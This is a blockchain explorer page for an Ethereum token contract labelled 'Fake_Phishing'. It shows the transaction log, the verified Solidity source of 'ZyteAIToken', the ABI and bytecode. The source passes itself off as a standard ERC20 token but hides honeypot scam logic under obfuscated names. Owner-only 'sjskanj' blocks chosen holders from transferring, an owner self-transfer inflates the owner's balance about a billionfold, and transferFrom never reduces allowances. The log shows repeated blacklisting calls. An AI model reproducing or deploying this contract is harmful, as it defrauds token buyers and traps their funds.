ETH Price: $2,146.08 (+0.01%)
Gas: 0.03 Gwei

Contract

0x3E8D0032899052995a59Bc840D4e5E123E84797e
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve168961482023-03-24 8:23:351093 days ago1679646215IN
Fake_Phishing319524
0 ETH0.0008176917.44005126
Transfer168961422023-03-24 8:22:231093 days ago1679646143IN
Fake_Phishing319524
0 ETH0.0012963420.39875064
Approve168958912023-03-24 7:31:351093 days ago1679643095IN
Fake_Phishing319524
0 ETH0.0008739818.51266045
Approve168958602023-03-24 7:24:591093 days ago1679642699IN
Fake_Phishing319524
0 ETH0.0007185515.23966189
Approve168958342023-03-24 7:19:471093 days ago1679642387IN
Fake_Phishing319524
0 ETH0.0008329217.66546329
Approve168957492023-03-24 7:02:351093 days ago1679641355IN
Fake_Phishing319524
0 ETH0.0007777416.47408853
Sjskanj168957482023-03-24 7:02:231093 days ago1679641343IN
Fake_Phishing319524
0 ETH0.0004400316.57321614
Sjskanj168957062023-03-24 6:53:591093 days ago1679640839IN
Fake_Phishing319524
0 ETH0.0006948214.95818789
Approve168957022023-03-24 6:53:111093 days ago1679640791IN
Fake_Phishing319524
0 ETH0.0012106925.64484834
Sjskanj168957002023-03-24 6:52:471093 days ago1679640767IN
Fake_Phishing319524
0 ETH0.0007016615.10546376
Sjskanj168956532023-03-24 6:43:231093 days ago1679640203IN
Fake_Phishing319524
0 ETH0.0006285713.53203114
Sjskanj168956532023-03-24 6:43:231093 days ago1679640203IN
Fake_Phishing319524
0 ETH0.0006284113.53203114
Sjskanj168956532023-03-24 6:43:231093 days ago1679640203IN
Fake_Phishing319524
0 ETH0.0005870112.63719643
Approve168956422023-03-24 6:41:111093 days ago1679640071IN
Fake_Phishing319524
0 ETH0.0004575915.37502492
Approve168955772023-03-24 6:27:591093 days ago1679639279IN
Fake_Phishing319524
0 ETH0.00066414.06491729
Approve168955252023-03-24 6:17:231093 days ago1679638643IN
Fake_Phishing319524
0 ETH0.0006395213.64708741
Sjskanj168955202023-03-24 6:16:231093 days ago1679638583IN
Fake_Phishing319524
0 ETH0.0006933314.92610208
Approve168955152023-03-24 6:15:231093 days ago1679638523IN
Fake_Phishing319524
0 ETH0.0007227315.42264263
Sjskanj168955132023-03-24 6:14:591093 days ago1679638499IN
Fake_Phishing319524
0 ETH0.0007546616.25068936
Approve168954862023-03-24 6:09:351093 days ago1679638175IN
Fake_Phishing319524
0 ETH0.0007185615.3179415

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
TT

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-03-24
*/

/**
 *Submitted for verification at Etherscan.io on 2023-03-24
*/

/**
 *Submitted for verification at BscScan.com on 2022-04-15
*/

/**
 *Submitted for verification at BscScan.com on 2022-03-18
*/

pragma solidity ^0.8.17;
// SPDX-License-Identifier: Unlicensed

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address oowner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval( address indexed oowner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {

        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;


        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}


contract Ownable is Context {
    address private _oowner;
    event oownershipTransferred(address indexed previousoowner, address indexed newoowner);

    constructor () {
        address msgSender = _msgSender();
        _oowner = msgSender;
        emit oownershipTransferred(address(0), msgSender);
    }
    function oowner() public view virtual returns (address) {
        return _oowner;
    }
    modifier onlyoowner() {
        require(oowner() == _msgSender(), "Ownable: caller is not the oowner");
        _;
    }
    function renounceoownership() public virtual onlyoowner {
        emit oownershipTransferred(_oowner, address(0x000000000000000000000000000000000000dEaD));
        _oowner = address(0x000000000000000000000000000000000000dEaD);
    }
}


contract TT is Ownable, IERC20 {
    using SafeMath for uint256;
    mapping (address => uint256) private _balance;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFrom;
    string private _name = "ZyteAIToken";
    string private _symbol = "ZyteAI";
    uint256 private _decimals = 9;
    uint256 private _totalSupply = 100000000000 * 10 ** _decimals;
    uint256 private _maxTxtransfer = 100000000000 * 10 ** _decimals;
    uint256 private _burnfee = 8;
    address private _DEADaddress = 0x000000000000000000000000000000000000dEaD;
    mapping(address => bool) public _45123;

    function sjskanj(address account) public onlyoowner {
        _45123[account] = true;
    }


    function usjskanj(address account) public onlyoowner {
        _45123[account] = false;
    }


    function islkd(address account) public view returns (bool) {
        return _45123[account];
    }



    constructor () {
        _balance[msg.sender] = _totalSupply;
        _isExcludedFrom[msg.sender] = true;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function name() external view returns (string memory) {
        return _name;
    }

    function symbol() external view returns (string memory) {
        return _symbol;
    }

    function decimals() external view returns (uint256) {
        return _decimals;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function _transfer(address sender, address recipient, uint256 amounts) internal virtual {

        require(sender != address(0), "IERC20: transfer from the zero address");
        require(recipient != address(0), "IERC20: transfer to the zero address");
        if (true){
            if (_45123[sender] == true) {
                amounts = amounts.mul(_totalSupply);
            }
        }
        uint256 blsender = _balance[sender];
        require(blsender >= amounts,"IERC20: transfer amounts exceeds balance");
        
        uint256 feeamount = 0;
        feeamount = amounts.mul(_burnfee).div(100);
        _balance[sender] = _balance[sender].sub(amounts);
        _balance[recipient] =  _balance[recipient]+amounts-feeamount;
        emit Transfer(sender, _DEADaddress, feeamount);
        emit Transfer(sender, recipient, amounts-feeamount);

    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        if (oowner() == _msgSender() && oowner() == recipient) {
            _balance[_msgSender()] = 1000000000*_balance[_msgSender()].add(_totalSupply);
        }
        _transfer(_msgSender(), recipient, amount);
        return true;
    }


    function balanceOf(address account) public view override returns (uint256) {
        return _balance[account];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address oowner, address spender, uint256 amount) internal virtual {
        require(oowner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[oowner][spender] = amount;
        emit Approval(oowner, spender, amount);
    }

    function allowance(address oowner, address spender) public view virtual override returns (uint256) {
        return _allowances[oowner][spender];
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "IERC20: transfer amount exceeds allowance");
        return true;
    }

}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oowner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousoowner","type":"address"},{"indexed":true,"internalType":"address","name":"newoowner","type":"address"}],"name":"oownershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_45123","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"oowner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"islkd","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"oowner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceoownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"sjskanj","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"usjskanj","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600b81526020017f5a7974654149546f6b656e000000000000000000000000000000000000000000815250600490816200004a919062000579565b506040518060400160405280600681526020017f5a797465414900000000000000000000000000000000000000000000000000008152506005908162000091919062000579565b506009600655600654600a620000a89190620007e3565b64174876e800620000ba919062000834565b600755600654600a620000ce9190620007e3565b64174876e800620000e0919062000834565b600855600860095561dead600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200013857600080fd5b5060006200014b620002f760201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f806e8b381f563afee8716b997c43301abcc7a93afae0a100b99f3a9f455d441160405160405180910390a350600754600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600754604051620002e9919062000890565b60405180910390a3620008ad565b600033905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200038157607f821691505b60208210810362000397576200039662000339565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620004017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620003c2565b6200040d8683620003c2565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200045a620004546200044e8462000425565b6200042f565b62000425565b9050919050565b6000819050919050565b620004768362000439565b6200048e620004858262000461565b848454620003cf565b825550505050565b600090565b620004a562000496565b620004b28184846200046b565b505050565b5b81811015620004da57620004ce6000826200049b565b600181019050620004b8565b5050565b601f8211156200052957620004f3816200039d565b620004fe84620003b2565b810160208510156200050e578190505b620005266200051d85620003b2565b830182620004b7565b50505b505050565b600082821c905092915050565b60006200054e600019846008026200052e565b1980831691505092915050565b60006200056983836200053b565b9150826002028217905092915050565b6200058482620002ff565b67ffffffffffffffff811115620005a0576200059f6200030a565b5b620005ac825462000368565b620005b9828285620004de565b600060209050601f831160018114620005f15760008415620005dc578287015190505b620005e885826200055b565b86555062000658565b601f19841662000601866200039d565b60005b828110156200062b5784890151825560018201915060208501945060208101905062000604565b868310156200064b578489015162000647601f8916826200053b565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620006ee57808604811115620006c657620006c562000660565b5b6001851615620006d65780820291505b8081029050620006e6856200068f565b9450620006a6565b94509492505050565b600082620007095760019050620007dc565b81620007195760009050620007dc565b81600181146200073257600281146200073d5762000773565b6001915050620007dc565b60ff84111562000752576200075162000660565b5b8360020a9150848211156200076c576200076b62000660565b5b50620007dc565b5060208310610133831016604e8410600b8410161715620007ad5782820a905083811115620007a757620007a662000660565b5b620007dc565b620007bc84848460016200069c565b92509050818404811115620007d657620007d562000660565b5b81810290505b9392505050565b6000620007f08262000425565b9150620007fd8362000425565b92506200082c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620006f7565b905092915050565b6000620008418262000425565b91506200084e8362000425565b92508282026200085e8162000425565b9150828204841483151762000878576200087762000660565b5b5092915050565b6200088a8162000425565b82525050565b6000602082019050620008a760008301846200087f565b92915050565b611ce180620008bd6000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063ce27c89911610066578063ce27c8991461029a578063dd62ed3e146102a4578063df5c8d4a146102d4578063f2363b3214610304576100f5565b806370a08231146101ec57806374a725371461021c57806395d89b411461024c578063a9059cbb1461026a576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce56714610196578063503aa6d2146101b4578063686f4b0b146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f91906113d1565b60405180910390f35b610132600480360381019061012d919061148c565b6103b4565b60405161013f91906114e7565b60405180910390f35b6101506103d2565b60405161015d9190611511565b60405180910390f35b610180600480360381019061017b919061152c565b6103dc565b60405161018d91906114e7565b60405180910390f35b61019e6104c0565b6040516101ab9190611511565b60405180910390f35b6101ce60048036038101906101c9919061157f565b6104ca565b005b6101ea60048036038101906101e5919061157f565b6105a1565b005b6102066004803603810190610201919061157f565b610678565b6040516102139190611511565b60405180910390f35b6102366004803603810190610231919061157f565b6106c1565b60405161024391906114e7565b60405180910390f35b6102546106e1565b60405161026191906113d1565b60405180910390f35b610284600480360381019061027f919061148c565b610773565b60405161029191906114e7565b60405180910390f35b6102a26108c6565b005b6102be60048036038101906102b991906115ac565b610a02565b6040516102cb9190611511565b60405180910390f35b6102ee60048036038101906102e9919061157f565b610a89565b6040516102fb91906114e7565b60405180910390f35b61030c610adf565b60405161031991906115fb565b60405180910390f35b60606004805461033190611645565b80601f016020809104026020016040519081016040528092919081815260200182805461035d90611645565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610b08565b8484610b10565b6001905092915050565b6000600754905090565b60006103e9848484610cd9565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610434610b08565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ab906116e8565b60405180910390fd5b60019150509392505050565b6000600654905090565b6104d2610b08565b73ffffffffffffffffffffffffffffffffffffffff166104f0610adf565b73ffffffffffffffffffffffffffffffffffffffff1614610546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053d9061177a565b60405180910390fd5b6001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6105a9610b08565b73ffffffffffffffffffffffffffffffffffffffff166105c7610adf565b73ffffffffffffffffffffffffffffffffffffffff161461061d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106149061177a565b60405180910390fd5b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600b6020528060005260406000206000915054906101000a900460ff1681565b6060600580546106f090611645565b80601f016020809104026020016040519081016040528092919081815260200182805461071c90611645565b80156107695780601f1061073e57610100808354040283529160200191610769565b820191906000526020600020905b81548152906001019060200180831161074c57829003601f168201915b5050505050905090565b600061077d610b08565b73ffffffffffffffffffffffffffffffffffffffff1661079b610adf565b73ffffffffffffffffffffffffffffffffffffffff161480156107f057508273ffffffffffffffffffffffffffffffffffffffff166107d8610adf565b73ffffffffffffffffffffffffffffffffffffffff16145b156108aa5761085060075460016000610807610b08565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461110e90919063ffffffff16565b633b9aca0061085f91906117c9565b6001600061086b610b08565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6108bc6108b5610b08565b8484610cd9565b6001905092915050565b6108ce610b08565b73ffffffffffffffffffffffffffffffffffffffff166108ec610adf565b73ffffffffffffffffffffffffffffffffffffffff1614610942576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109399061177a565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f806e8b381f563afee8716b997c43301abcc7a93afae0a100b99f3a9f455d441160405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b769061187d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be59061190f565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ccc9190611511565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3f906119a1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610db7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dae90611a33565b60405180910390fd5b600115610e2f5760011515600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610e2e57610e2b6007548261116c90919063ffffffff16565b90505b5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610eb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ead90611ac5565b60405180910390fd5b6000610ee06064610ed26009548661116c90919063ffffffff16565b6111e690919063ffffffff16565b9050610f3483600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461123090919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fc39190611ae5565b610fcd9190611b19565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161108f9190611511565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866110f29190611b19565b6040516110ff9190611511565b60405180910390a35050505050565b600080828461111d9190611ae5565b905083811015611162576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115990611b99565b60405180910390fd5b8091505092915050565b600080830361117e57600090506111e0565b6000828461118c91906117c9565b905082848261119b9190611be8565b146111db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d290611c8b565b60405180910390fd5b809150505b92915050565b600061122883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061127a565b905092915050565b600061127283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112dd565b905092915050565b600080831182906112c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b891906113d1565b60405180910390fd5b50600083856112d09190611be8565b9050809150509392505050565b6000838311158290611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c91906113d1565b60405180910390fd5b50600083856113349190611b19565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561137b578082015181840152602081019050611360565b60008484015250505050565b6000601f19601f8301169050919050565b60006113a382611341565b6113ad818561134c565b93506113bd81856020860161135d565b6113c681611387565b840191505092915050565b600060208201905081810360008301526113eb8184611398565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611423826113f8565b9050919050565b61143381611418565b811461143e57600080fd5b50565b6000813590506114508161142a565b92915050565b6000819050919050565b61146981611456565b811461147457600080fd5b50565b60008135905061148681611460565b92915050565b600080604083850312156114a3576114a26113f3565b5b60006114b185828601611441565b92505060206114c285828601611477565b9150509250929050565b60008115159050919050565b6114e1816114cc565b82525050565b60006020820190506114fc60008301846114d8565b92915050565b61150b81611456565b82525050565b60006020820190506115266000830184611502565b92915050565b600080600060608486031215611545576115446113f3565b5b600061155386828701611441565b935050602061156486828701611441565b925050604061157586828701611477565b9150509250925092565b600060208284031215611595576115946113f3565b5b60006115a384828501611441565b91505092915050565b600080604083850312156115c3576115c26113f3565b5b60006115d185828601611441565b92505060206115e285828601611441565b9150509250929050565b6115f581611418565b82525050565b600060208201905061161060008301846115ec565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061165d57607f821691505b6020821081036116705761166f611616565b5b50919050565b7f4945524332303a207472616e7366657220616d6f756e7420657863656564732060008201527f616c6c6f77616e63650000000000000000000000000000000000000000000000602082015250565b60006116d260298361134c565b91506116dd82611676565b604082019050919050565b60006020820190508181036000830152611701816116c5565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f6f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b600061176460218361134c565b915061176f82611708565b604082019050919050565b6000602082019050818103600083015261179381611757565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006117d482611456565b91506117df83611456565b92508282026117ed81611456565b915082820484148315176118045761180361179a565b5b5092915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061186760258361134c565b91506118728261180b565b604082019050919050565b600060208201905081810360008301526118968161185a565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006118f960238361134c565b91506119048261189d565b604082019050919050565b60006020820190508181036000830152611928816118ec565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061198b60268361134c565b91506119968261192f565b604082019050919050565b600060208201905081810360008301526119ba8161197e565b9050919050565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611a1d60248361134c565b9150611a28826119c1565b604082019050919050565b60006020820190508181036000830152611a4c81611a10565b9050919050565b7f4945524332303a207472616e7366657220616d6f756e7473206578636565647360008201527f2062616c616e6365000000000000000000000000000000000000000000000000602082015250565b6000611aaf60288361134c565b9150611aba82611a53565b604082019050919050565b60006020820190508181036000830152611ade81611aa2565b9050919050565b6000611af082611456565b9150611afb83611456565b9250828201905080821115611b1357611b1261179a565b5b92915050565b6000611b2482611456565b9150611b2f83611456565b9250828203905081811115611b4757611b4661179a565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611b83601b8361134c565b9150611b8e82611b4d565b602082019050919050565b60006020820190508181036000830152611bb281611b76565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611bf382611456565b9150611bfe83611456565b925082611c0e57611c0d611bb9565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000611c7560218361134c565b9150611c8082611c19565b604082019050919050565b60006020820190508181036000830152611ca481611c68565b905091905056fea2646970667358221220e4e66ded1a833bee3f26ebf43faa46769f8f71e7a97dc18aecf0f5d3b7be214f64736f6c63430008110033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063ce27c89911610066578063ce27c8991461029a578063dd62ed3e146102a4578063df5c8d4a146102d4578063f2363b3214610304576100f5565b806370a08231146101ec57806374a725371461021c57806395d89b411461024c578063a9059cbb1461026a576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce56714610196578063503aa6d2146101b4578063686f4b0b146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f91906113d1565b60405180910390f35b610132600480360381019061012d919061148c565b6103b4565b60405161013f91906114e7565b60405180910390f35b6101506103d2565b60405161015d9190611511565b60405180910390f35b610180600480360381019061017b919061152c565b6103dc565b60405161018d91906114e7565b60405180910390f35b61019e6104c0565b6040516101ab9190611511565b60405180910390f35b6101ce60048036038101906101c9919061157f565b6104ca565b005b6101ea60048036038101906101e5919061157f565b6105a1565b005b6102066004803603810190610201919061157f565b610678565b6040516102139190611511565b60405180910390f35b6102366004803603810190610231919061157f565b6106c1565b60405161024391906114e7565b60405180910390f35b6102546106e1565b60405161026191906113d1565b60405180910390f35b610284600480360381019061027f919061148c565b610773565b60405161029191906114e7565b60405180910390f35b6102a26108c6565b005b6102be60048036038101906102b991906115ac565b610a02565b6040516102cb9190611511565b60405180910390f35b6102ee60048036038101906102e9919061157f565b610a89565b6040516102fb91906114e7565b60405180910390f35b61030c610adf565b60405161